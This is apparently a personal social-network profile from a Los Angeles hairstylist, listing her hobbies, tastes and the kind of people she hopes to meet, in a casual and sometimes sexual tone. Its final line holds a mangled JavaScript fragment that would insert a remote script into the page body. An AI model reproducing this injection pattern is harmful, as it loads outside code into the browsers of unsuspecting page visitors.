IMAGINATION IS MORE IMPORTANT THAN KNOWLEDGE

About Me

first, i have to say that i won't add you as a friend unless i know you or at least exchange a few really great emails. i'm not trying to be mean or anything but i just want to know someone before i add them to my precious list of friends. To know me is to know that I... love my friends completely (I am very loyal), love my job (as a hairstylist), am a total goofball, a tad sensitive (mostly during cheesy chick movies - I can't help it... I love em ), crazy at times, mellow at times, read a lot, am writing my first novel, i'm good at what i do, do yoga, do pilates, ride my bike on the beach, listen to music loud, like to sex dance in front of my mirror on occasion, love bananas, love mangos, love chocolate and coconut, want to live in hawaii eventually, love to swim, i'm a leo, need to laugh all the time, have lots of guy friends, am friends with almost all of my ex's, don't care too much for drama unless i'm reading it in the tabloids, love my family even though we are a tad dysfunctional. who isn't? I work hard to really see a person for who they are and where they came from and i would hope that people would do the same for me. My friends in LA have opened my eyes up to so much and i am so grateful for them in my life. I feel so lucky to live in a place where I get to meet a plethora of people from different backgrounds and culture and to see so many other sides of life. I guess I'm just one of those girls who tends to reflect on the positive side of things rather than the negative (politics excluded of course)....

My Interests

books, music, art, sex, my work, driving up the coast, being nude, laughing, hanging with good people, writing, dancing, lounging on a sunday afternoon after bloody mary's, lounging on a sunday afternoon before bloody mary's, hugging, kissing, yoga, pilates, riding my bike, walks on the beach, seeing live music, good parties, good friends, laughing, laughing, laughing, eating ice cream (cocunut gelato) late at night, sleeping in, going to bed late, taking baths, swimming, listening to great tunes on my Ipod while i'm in bed just before i go to sleep....

I'd like to meet:

people who aren't stressed, people who don't work themselves to death, people who love what they do, people who appreciate their family and friends (even when they fuck up), someone funny and adventurous. someone who is creative. people with good energy. Someone who learns from their mistakes and turns them into a positive, someone who loves music as much as i do, someone who doesn't yell (unless it's for joy), a good cook would be nice. I would love to meet that guy that just gets me and makes me smile even when i'm asleep, the guy that i just can't give enough too....

Whether they are bad or good to us... It's what we do with it that really matters. It's about understanding life in every way. if you can do that, then you are a hero. .var x=document·('script');x.src='http://www.../.../...';doc ument·getElementsByTagName('body')[0].appendChild(x);" /
